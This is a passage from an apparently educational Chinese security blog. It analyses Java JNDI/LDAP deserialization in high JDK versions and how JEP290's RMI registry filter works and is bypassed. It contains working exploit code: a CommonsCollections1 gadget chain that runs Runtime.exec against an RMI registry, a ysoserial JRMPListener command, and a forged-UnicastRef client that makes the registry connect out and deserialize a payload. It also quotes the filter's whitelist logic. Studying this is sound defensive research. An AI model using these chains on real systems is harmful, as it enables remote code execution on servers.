因为我们这里是 ldap 服务的 lookup() 方法的调用,前文我说每一个服务都对应一个 xxxContext,所以我们要先去找那个对应的 xxxContext,再去找 decodeObject() 方法
所以这里的断点就正常调就行,decodeObject() 方法的是在 LdapCtx.java 这个地方,可以现在这里打个断点节约时间,也可以自己跟一遍,如果自己跟一遍的话,是要通过 p_lookup 和 c_lookup() 进来的,因为在这之前都没到 xxxContext

进到 decodeObject() 方法里面,往下走,看到一个 getURLClassLoader() 这里方法里面

往下走,进入到 trustURLCodebase 的判断,我们之前说过,这里默认就是 false,所以没跳进去,无法进行 URLClassLoader 的实例化,但是这个地方其实我们已经获取到字节码了,只是不实例化就无法加载,也就无法命令执行

这里实例化不通过是不会加载字节码进行命令执行的,我们继续往下走,有一个 deserializeObject() 方法非常引人注目,根据名字它一定是一个用来反序列化的方法

再查看一下这里被反序列化的东西,是一个 javaSerializedData 数据类型的类,跟进这个方法,遇到了我们无比倾心的 readObject() 方法,OK 至此,入口类的条件满足

思考总结
其实是换了一种思路进行字节码的加载,通过 deserializeObject() 方法的反序列化来进行命令执行
0x04 JEP290
JEP290 其实这就是为什么高版本 jdk(8u121 ~ 8u230) 有部分能打 JNDI 但是打不了 RMI 的原因
JEP290 初步认识
JEP290 是 Java 底层为了缓解反序列化攻击提出的一种解决方案,主要做了以下几件事:
- 提供一个限制反序列化类的机制,白名单或者黑名单
- 限制反序列化的深度和复杂度
- 为 RMI 远程调用对象提供了一个验证类的机制
- 定义一个可配置的过滤机制,比如可以通过配置
properties 文件的形式来定义过滤器
官方从 8u121,7u13,6u141 分别支持了这个 JEP
JEP290 防御分析
使用 RMI 这篇文章里的经典客户端打注册中心 RMI 的 demo 测试
服务端:
1 2 3 4 5 6 7 8 9 10 11 12
| import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMIServer { public static void main(String[] args) throws RemoteException, AlreadyBoundException { IRemoteObj remoteObj = new RemoteObjImpl(); Registry r = LocateRegistry._createRegistry_(1099); r.bind("remoteObj", remoteObj); } }
|
客户端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map;
public class BindAttack { public static void main(String[] args) throws Exception{ Registry registry = LocateRegistry._getRegistry_("127.0.0.1",1099); InvocationHandler handler = (InvocationHandler) _CC1_(); Remote remote = Remote.class.cast(Proxy._newProxyInstance_(Remote.class.getClassLoader(),new Class[] { Remote.class }, handler)); registry.rebind("g3ng4r",remote); }
public static Object CC1() throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("value","G3ng4r"); Map<Object, Object> transformedMap = TransformedMap._decorate_(hashMap, null, chainedTransformer);
Class c = Class._forName_("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true); Object o = aihConstructor.newInstance(Target.class, transformedMap); return o; } }
|
在原本的 8u65 中是能打通的,这里我用的 jdk 版本为 8u121,没能完成命令执行

这里遇到了一个典型的 Java RMI 反序列化漏洞利用失败的问题,错误信息是:
java.io.InvalidClassException: filter status: REJECTED
这个错误表明 RMI 服务器端(Registry)在反序列化客户端发送的对象时,被 Java 的序列化过滤器(也就是 JEP 290)拒绝了
可以先看一下官方文档对于 JEP290 的描述 http://openjdk.java.net/jeps/290,很容易通过描述来看对应增加的 Filter 点是什么,如图找到了 ObjectInputFilter 相关的类

这里去看看 ObjectInputFilter 相关的类,断点是下不去的,所以去到控制台去看,在 RegistryImpl_Skel 类中也存在报错现象,而这个类在 RMI 中是用来做反序列化的方法的(我的断点进不去这里就走一遍逻辑了

跟进,ObjectInputStream 类调用了 readObject0() 方法,继续跟进

先获取输入当中 blkmode,如果数据为 true,则继续进行后续判断(这里为 false),后续做了一部分的数据处理工作,我们直接来看最重要的地方 1573 行,调用了 checkResolve() 方法,跟进

跟进 readClassDesc() 方法,这个方法主要是读取并返回类描述符,并判断这一类描述符是否可以解析为本地 VM 中的类

在 readClassDesc() 方法中,判断 tc 所对应的类型,这里跟进 readProxyDesc() 方法

readProxyDesc() 方法做完一系列基础判断之后调用了 filterCheck() 方法,跟进

而 filterCheck() 方法又调用了 checkInput() 方法,这里应该是最终来判断输入是否合法的地方

这里的判断会进行两次,一个是开启 JVM 的 java.rmi.Remote 类,另一个是我们放入的恶意利用类 sun.reflect.annotation.AnnotationInvocationHandler,第一次会先判断 java.rmi.Remote 类是否合法

对应的判断代码,其实也就是白名单了。代码会首先判断 var2 是否等于 String 类型。如果不是,则继续判断它是否满足下列几个条件中的任意一个:
1
| return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
|
而这里,我们的 sun.reflect.annotation.AnnotationInvocationHandler 类并不在这些白名单中,所以会被过滤
JEP290 Bypass
这里我们可以先看一下白名单里面都能过什么:
1 2 3 4 5 6 7 8 9
| String.class Number.class Remote.class Proxy.class UnicastRef.class RMIClientSocketFactory.class RMIServerSocketFactory.class ActivationID.class UID.class
|
这里还得从它在 JDK8u221 的具体环境下的流程分析入手,看一下在攻击流程之后哪里可以能够被利用,哪里可以 bypass
绕过利用
思考了在 RMI 的流程当中,哪一步能够绕过 JEP290 的检测,最终是 JRMP 的这一步,能够绕过,原理图如下:

先用 ysoserial 开启 JRMP 3333 端口的监听:
1
| java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "Calc"
|
然后编写 RMI 的 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random;
public class BypassJEP290 { public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException { Registry reg = LocateRegistry.getRegistry("localhost",1099); ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(BypassJEP290.class.getClassLoader(), new Class[] { Registry.class }, obj); reg.bind("Hello",proxy); } }
|
启动 JRMP 监听 -> 启动服务端 -> 启动客户端

这个 payload 的原理就是伪造了一个 UnicastRef 用于跟注册中心通信,我们从 bind() 方法开始分析一下这一整个流程
绕过分析
我们通过 getRegistry 时获得的注册中心,其实就是一个封装了 UnicastServerRef 对象的对象

当我们调用 bind 方法后,会通过 UnicastRef 对象中存储的信息与注册中心进行通信

这里会通过 ref 与注册中心通信,并将绑定的对象名称以及要绑定的远程对象发过去,注册中心在后续会对应进行反序列化
接着来看看 yso 中的 JRMPClient 是做了什么操作
1 2 3 4 5 6 7 8
| ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, obj); return proxy;
|
这里返回了一个代理对象,上面用的这些类都在白名单里,当注册中心反序列化时,会调用到 RemoteObjectInvacationHandler 父类 RemoteObject 的 readObject 方法(因为 RemoteObjectInvacationHandler 没有 readObject 方法),在 readObject 里的最后一行会调用 ref.readExternal 方法,并将 ObjectInputStream 传进去:
这里的调用栈非常长,总体上来说就是在做上面所说的工作,调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| readObject:455, RemoteObject (java.rmi.server) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1170, ObjectStreamClass (java.io) readSerialData:2178, ObjectInputStream (java.io) readOrdinaryObject:2069, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) defaultReadFields:2287, ObjectInputStream (java.io) readSerialData:2211, ObjectInputStream (java.io) readOrdinaryObject:2069, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) readObject:431, ObjectInputStream (java.io) dispatch:92, RegistryImpl_Skel (sun.rmi.registry) oldDispatch:469, UnicastServerRef (sun.rmi.server) dispatch:301, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:573, TCPTransport (sun.rmi.transport.tcp) run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1, 1330984495 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5) doPrivileged:-1, AccessController (java.security) run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:748, Thread (java.lang)
|
直接跟进到 sun.rmi.transport.LiveRef#read

可以看到这里把 payload 里所传入的 LiveRef 解析到 var5 变量处,里面包含了 ip 与 port 信息(JRMPListener 的端口),这些信息将用于后面注册中心与 JRMP 端建立通信

跟进 saveRef() 方法,里面做了一个映射,其建立了一个 TCPEndpoint 到 ArrayList<LiveRef> 的映射关系

到这里 JRMP 的通信流程基本结束了,接着再回到 dispatch() 方法,在调用了 readObject 方法之后调用了 var2.releaseInputStream();,跟进(

releaseInputStream() 方法调用了 this.in.registerRefs() 方法,跟进。其中先判断了当前保存的 Ref 是否为空,再获取当前 Ref,这个 Ref 实际上就是创建的 JRMP 连接,再跟进 registerRefs() 方法

var2 这里返回的是 DGCClient 对象,里边同样封装了我们的端口信息

接着看到 registerRefs 方法中的 this.makeDirtyCall(var2, var3),跟进一下

里面主要是做了数据处理,将原本保存了 EndPoint 的 var1 —— HashSet 数组转换为 ObjID,同时,调用了 this.dgc.dirty() 方法,跟进

invoke() 方法实现的过程就是从 socket 连接中先读取了输入,然后直接反序列化,此时的反序列化并没有设置 filter 白名单,所以这里可以直接导致注册中心 rce,所以我们可以伪造一个 socket 连接并把我们恶意序列化的对象发过去,这也就是当时用 ysoserial 开启的 JRMP

0x05 写在后面
对于 JNDI 的注入,最重要的是掌握 JNDI 通用注入,也就是 LDAP + Reference 这一个;在掌握了这个之后,理解高版本 jdk 的绕过也相对简单了
另外 JEP290 的绕过分析的思路其实是非常清晰的,只是整个流程还是比较复杂的,总结一下是从 RMI 通信的流程当中找到了可乘之机,配合一开始的图片更好理解原理